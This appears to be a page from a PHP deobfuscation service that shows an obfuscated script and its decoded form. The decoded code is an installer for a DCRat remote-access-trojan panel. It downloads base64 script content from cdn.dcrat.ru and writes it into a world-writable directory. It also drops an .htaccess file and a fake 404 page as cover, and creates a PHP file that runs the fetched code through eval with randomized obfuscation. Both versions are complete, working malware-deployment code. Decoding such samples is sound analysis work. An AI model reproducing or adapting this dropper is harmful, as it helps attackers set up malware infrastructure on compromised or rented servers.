Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

${"\x47\x4c\x4f\x42A\x4c\x53"}["\x62\x71\x6f\x6edg\x6b"]="\x73\x63\x72\x69\x70\x74code";${..

Decoded Output download

${"GLOBALS"}["bqondgk"]="scriptcode";${"GLOBALS"}["bvbjgqyjp"]="splittersArray";${"GLOBALS"}["ojkchebe"]="splitter";${"GLOBALS"}["wlgiokkkpsy"]="splittersArray";${"GLOBALS"}["afwepbg"]="randSplitter";${"GLOBALS"}["jqmelmbe"]="splitter";${"GLOBALS"}["beqtkumj"]="splitter";$ofojmwtfwk="splittersArray";${"GLOBALS"}["wbajpdgvhv"]="char";${"GLOBALS"}["wdwbssstnc"]="cStep";${"GLOBALS"}["iqqitas"]="rText";$gnlzwbhhcq="splitter";${"GLOBALS"}["dvrsqb"]="scriptcode";function encoder($text,$splitter,$step){${${"GLOBALS"}["iqqitas"]}="";$pkehvuipps="text";${${"GLOBALS"}["wdwbssstnc"]}=0;foreach(str_split(${$pkehvuipps})as${${"GLOBALS"}["wbajpdgvhv"]}){${"GLOBALS"}["iwdlpgev"]="step";$irqwcep="cStep";if(${${"GLOBALS"}["wdwbssstnc"]}>=${${"GLOBALS"}["iwdlpgev"]}){${"GLOBALS"}["nobjhvb"]="cStep";$ejxdwqkbu="char";$vxtddwglvlc="randSplitter";${"GLOBALS"}["vfgmhlxlqxiv"]="splitter";${${"GLOBALS"}["afwepbg"]}=${${"GLOBALS"}["ojkchebe"]}.rand().${${"GLOBALS"}["vfgmhlxlqxiv"]};${${"GLOBALS"}["iqqitas"]}.=${$ejxdwqkbu}.${$vxtddwglvlc};${${"GLOBALS"}["nobjhvb"]}=0;}else{${"GLOBALS"}["fokcuqwake"]="rText";${${"GLOBALS"}["fokcuqwake"]}.=${${"GLOBALS"}["wbajpdgvhv"]};}${$irqwcep}++;}return${${"GLOBALS"}["iqqitas"]};}${$ofojmwtfwk}=[",","-","_","~","%","&","@","!"];${${"GLOBALS"}["beqtkumj"]}=${${"GLOBALS"}["wlgiokkkpsy"]}[array_rand(${${"GLOBALS"}["bvbjgqyjp"]})];${${"GLOBALS"}["bqondgk"]}=base64_decode(file_get_contents("https://cdn.dcrat.ru/servercontent/?type=data&data=script&token=".sha1(date("Y"))));${${"GLOBALS"}["bqondgk"]}=str_replace("%pass%",md5($_POST["pass"]),${${"GLOBALS"}["bqondgk"]});${${"GLOBALS"}["bqondgk"]}=str_replace("%servername%",$_POST["sname"],${${"GLOBALS"}["bqondgk"]});${${"GLOBALS"}["dvrsqb"]}=str_replace("%workdir%",$_POST["cname"],${${"GLOBALS"}["bqondgk"]});$sdeeltitolux="scriptcode";${${"GLOBALS"}["bqondgk"]}=str_replace("%encodingkey%",sha1(rand(10,100000)),${${"GLOBALS"}["bqondgk"]});mkdir($_POST["cname"]);chmod($_POST["cname"],0777);if(!file_exists(".htaccess"))@file_put_contents(".htaccess","php_value memory_limit 512M
php_value post_max_size 150000M
php_value upload_max_filesize 150000M
php_value max_input_vars 1800
php_value max_execution_time 300
php_value max_input_time 300");if(!file_exists("index.html"))@file_put_contents("index.html","");if(!file_exists($_POST["cname"]."/index.html"))@file_put_contents($_POST["cname"]."/index.html",base64_decode("PGh0bWw+PGhlYWQ+DQo8dGl0bGU+NDA0IE5vdCBGb3VuZDwvdGl0bGU+DQo8L2hlYWQ+PGJvZHk+DQo8aDE+Tm90IEZvdW5kPC9oMT4NCjxwPlRoZSByZXF1ZXN0ZWQgVVJMIHdhcyBub3QgZm91bmQgb24gdGhpcyBzZXJ2ZXIuPC9wPg0KPGhyPg0KDQo8L2JvZHk+PC9odG1sPg=="));file_put_contents($_POST["fname"].".php","<?php function o".sha1($_POST["sname"]).md5($_POST["sname"])." (\$a) { return preg_replace("#(".${${"GLOBALS"}["jqmelmbe"]}."(.*?)".${${"GLOBALS"}["ojkchebe"]}.")#is", "", \$a); } eval(base64_decode(o".sha1($_POST["sname"]).md5($_POST["sname"])."(\"".encoder(base64_encode(${$sdeeltitolux}),${$gnlzwbhhcq},rand(2,15)).""))); ?>");

Did this file decode correctly?

Original Code

${"\x47\x4c\x4f\x42A\x4c\x53"}["\x62\x71\x6f\x6edg\x6b"]="\x73\x63\x72\x69\x70\x74code";${"\x47\x4c\x4f\x42\x41LS"}["\x62v\x62j\x67\x71\x79\x6a\x70"]="\x73\x70\x6c\x69\x74\x74e\x72\x73A\x72\x72\x61y";${"\x47\x4c\x4f\x42A\x4c\x53"}["\x6fj\x6b\x63\x68e\x62\x65"]="\x73p\x6ci\x74\x74e\x72";${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x77\x6cg\x69okk\x6bp\x73\x79"]="\x73\x70\x6ci\x74\x74\x65r\x73\x41r\x72ay";${"\x47\x4c\x4fBA\x4c\x53"}["\x61f\x77\x65\x70\x62\x67"]="rand\x53\x70\x6c\x69t\x74\x65\x72";${"\x47L\x4fB\x41\x4c\x53"}["jqmelm\x62e"]="\x73\x70\x6c\x69t\x74\x65\x72";${"GL\x4f\x42\x41\x4c\x53"}["\x62eq\x74kum\x6a"]="s\x70\x6c\x69\x74\x74e\x72";$ofojmwtfwk="s\x70\x6c\x69\x74t\x65r\x73A\x72ray";${"\x47\x4c\x4f\x42\x41LS"}["w\x62\x61jp\x64\x67\x76\x68\x76"]="\x63\x68\x61\x72";${"GLO\x42\x41L\x53"}["w\x64\x77\x62sss\x74n\x63"]="\x63St\x65\x70";${"\x47\x4c\x4f\x42ALS"}["\x69\x71qit\x61s"]="r\x54\x65x\x74";$gnlzwbhhcq="\x73p\x6c\x69tter";${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x64\x76rs\x71b"]="\x73\x63ri\x70t\x63\x6fd\x65";function encoder($text,$splitter,$step){${${"G\x4c\x4f\x42\x41L\x53"}["\x69\x71\x71it\x61\x73"]}="";$pkehvuipps="\x74\x65\x78\x74";${${"G\x4c\x4f\x42ALS"}["\x77\x64wb\x73s\x73\x74\x6e\x63"]}=0;foreach(str_split(${$pkehvuipps})as${${"\x47L\x4f\x42AL\x53"}["\x77\x62\x61jpdg\x76h\x76"]}){${"GL\x4f\x42ALS"}["\x69wd\x6c\x70g\x65\x76"]="\x73\x74\x65p";$irqwcep="\x63\x53\x74\x65\x70";if(${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x77\x64\x77b\x73ss\x74\x6e\x63"]}>=${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x69\x77d\x6cp\x67\x65\x76"]}){${"\x47\x4c\x4fB\x41\x4c\x53"}["\x6e\x6f\x62\x6ah\x76b"]="c\x53t\x65\x70";$ejxdwqkbu="\x63\x68a\x72";$vxtddwglvlc="ra\x6edS\x70\x6c\x69\x74\x74\x65\x72";${"\x47L\x4fB\x41\x4cS"}["\x76\x66\x67m\x68\x6cx\x6c\x71\x78\x69v"]="sp\x6c\x69\x74\x74e\x72";${${"\x47\x4cOB\x41L\x53"}["a\x66w\x65\x70\x62g"]}=${${"\x47\x4c\x4f\x42\x41LS"}["\x6f\x6a\x6b\x63he\x62\x65"]}.rand().${${"\x47\x4cO\x42\x41\x4cS"}["\x76\x66\x67mh\x6c\x78lq\x78i\x76"]};${${"\x47\x4c\x4f\x42A\x4c\x53"}["\x69\x71q\x69\x74a\x73"]}.=${$ejxdwqkbu}.${$vxtddwglvlc};${${"\x47L\x4f\x42\x41L\x53"}["n\x6fb\x6ah\x76\x62"]}=0;}else{${"G\x4c\x4fB\x41\x4c\x53"}["\x66o\x6bc\x75\x71\x77ake"]="\x72\x54\x65\x78\x74";${${"\x47\x4c\x4f\x42\x41\x4cS"}["\x66\x6f\x6b\x63u\x71w\x61\x6b\x65"]}.=${${"\x47LO\x42A\x4c\x53"}["w\x62\x61j\x70\x64\x67\x76\x68v"]};}${$irqwcep}++;}return${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x69\x71\x71\x69t\x61s"]};}${$ofojmwtfwk}=[",","-","\x5f","~","%","&","\x40","\x21"];${${"\x47\x4cO\x42\x41\x4c\x53"}["\x62e\x71t\x6b\x75\x6d\x6a"]}=${${"\x47\x4c\x4f\x42A\x4c\x53"}["wlgio\x6b\x6b\x6b\x70\x73\x79"]}[array_rand(${${"\x47L\x4fBA\x4c\x53"}["\x62\x76\x62\x6a\x67q\x79j\x70"]})];${${"G\x4cO\x42\x41\x4cS"}["\x62\x71\x6f\x6edgk"]}=base64_decode(file_get_contents("ht\x74\x70s://\x63\x64\x6e.d\x63\x72\x61t.\x72\x75/\x73e\x72ve\x72\x63onte\x6e\x74/?t\x79pe=\x64\x61\x74\x61&\x64\x61\x74a\x3ds\x63\x72i\x70t\x26token=".sha1(date("\x59"))));${${"\x47LO\x42A\x4c\x53"}["\x62qo\x6e\x64g\x6b"]}=str_replace("\x25\x70\x61s\x73\x25",md5($_POST["pass"]),${${"\x47\x4c\x4f\x42ALS"}["\x62\x71\x6f\x6e\x64\x67k"]});${${"G\x4c\x4fBALS"}["bq\x6f\x6e\x64\x67\x6b"]}=str_replace("%serve\x72\x6e\x61m\x65%",$_POST["\x73na\x6d\x65"],${${"GL\x4fB\x41\x4cS"}["b\x71\x6fnd\x67k"]});${${"\x47L\x4f\x42\x41\x4cS"}["\x64vrsqb"]}=str_replace("%w\x6f\x72\x6b\x64ir%",$_POST["cna\x6de"],${${"\x47\x4cO\x42\x41\x4c\x53"}["\x62q\x6f\x6e\x64\x67\x6b"]});$sdeeltitolux="s\x63\x72\x69\x70\x74\x63\x6f\x64\x65";${${"\x47\x4c\x4fBA\x4c\x53"}["\x62\x71\x6f\x6e\x64\x67k"]}=str_replace("%\x65n\x63od\x69\x6e\x67\x6bey\x25",sha1(rand(10,100000)),${${"\x47\x4cO\x42\x41\x4c\x53"}["b\x71\x6f\x6e\x64\x67\x6b"]});mkdir($_POST["\x63\x6e\x61me"]);chmod($_POST["cname"],0777);if(!file_exists(".h\x74\x61\x63\x63es\x73"))@file_put_contents(".\x68\x74\x61\x63ces\x73","\x70\x68\x70_\x76a\x6c\x75\x65 mem\x6f\x72y\x5f\x6c\x69mi\x74\x205\x312\x4d\r\n\x70h\x70\x5fvalu\x65\x20\x70\x6f\x73t\x5f\x6dax_\x73iz\x65\x20\x31\x35\x30\x30\x30\x30M\r\n\x70\x68\x70_value\x20up\x6coa\x64\x5f\x6d\x61x\x5ff\x69l\x65\x73\x69ze\x20\x315000\x30M\r\nph\x70\x5f\x76\x61\x6c\x75\x65\x20\x6da\x78_\x69\x6ep\x75\x74\x5fva\x72s\x20\x318\x300\r\nphp\x5fv\x61\x6cue max\x5f\x65\x78\x65cu\x74\x69\x6f\x6e_\x74\x69m\x65 30\x30\r\n\x70\x68\x70_v\x61\x6cue \x6dax\x5fi\x6e\x70ut\x5f\x74im\x65\x203\x30\x30");if(!file_exists("i\x6ede\x78\x2eht\x6d\x6c"))@file_put_contents("\x69n\x64ex.\x68\x74\x6dl","");if(!file_exists($_POST["\x63na\x6d\x65"]."/\x69nd\x65\x78\x2eht\x6dl"))@file_put_contents($_POST["\x63\x6eam\x65"]."/\x69\x6e\x64ex.\x68t\x6d\x6c",base64_decode("PG\x680b\x57\x77+PG\x68\x6c\x59WQ+\x44Q\x6f\x38dGl\x30\x62\x47\x55+ND\x41\x30\x49\x45\x35\x76\x64C\x42\x47b\x33\x56\x75\x5aDw\x76\x64\x47l0b\x47U+D\x51\x6f8\x4c\x32\x68\x6cYW\x51+\x50\x47Jv\x5a\x48k+DQo\x38aDE+\x54m90IE\x5a\x76\x64W\x35k\x50\x43\x39\x6f\x4d\x54\x34\x4e\x43\x6axw\x50lRoZ\x53\x42yZ\x58F1\x5aX\x4e0\x5a\x57\x51gVVJ\x4dI\x48dh\x63\x79Bu\x623\x51\x67Z\x6d9\x31b\x6d\x51gb2\x34g\x64G\x68\x70cyBz\x5aXJ2ZX\x49uPC\x39wPg0\x4bPG\x68y\x50\x670K\x44\x51\x6f\x38\x4c\x32\x4avZH\x6b+P\x43\x39\x6fd\x471sPg=="));file_put_contents($_POST["fn\x61m\x65"].".\x70\x68\x70","<?ph\x70\x20fun\x63t\x69\x6fn\x20o".sha1($_POST["sn\x61m\x65"]).md5($_POST["s\x6e\x61\x6d\x65"])."\x20(\$\x61)\x20{ r\x65t\x75rn \x70re\x67\x5f\x72e\x70\x6c\x61c\x65(\x22\x23(".${${"\x47L\x4f\x42\x41\x4c\x53"}["jqm\x65\x6c\x6d\x62e"]}."(\x2e*?)".${${"\x47L\x4fB\x41\x4c\x53"}["\x6fj\x6b\x63\x68\x65\x62\x65"]}.")#\x69s\x22,\x20\x22\x22,\x20\$a)\x3b }\x20e\x76\x61\x6c(\x62\x61\x73e6\x34\x5f\x64\x65c\x6f\x64\x65(o".sha1($_POST["\x73\x6ea\x6de"]).md5($_POST["s\x6e\x61\x6de"])."(\"".encoder(base64_encode(${$sdeeltitolux}),${$gnlzwbhhcq},rand(2,15))."\x22)));\x20?>");

Function Calls

None

Variables

None

Stats

MD5 521363ba58e6ee64cf8cdaa7bf0953e5
Eval Count 0
Decode Time 137 ms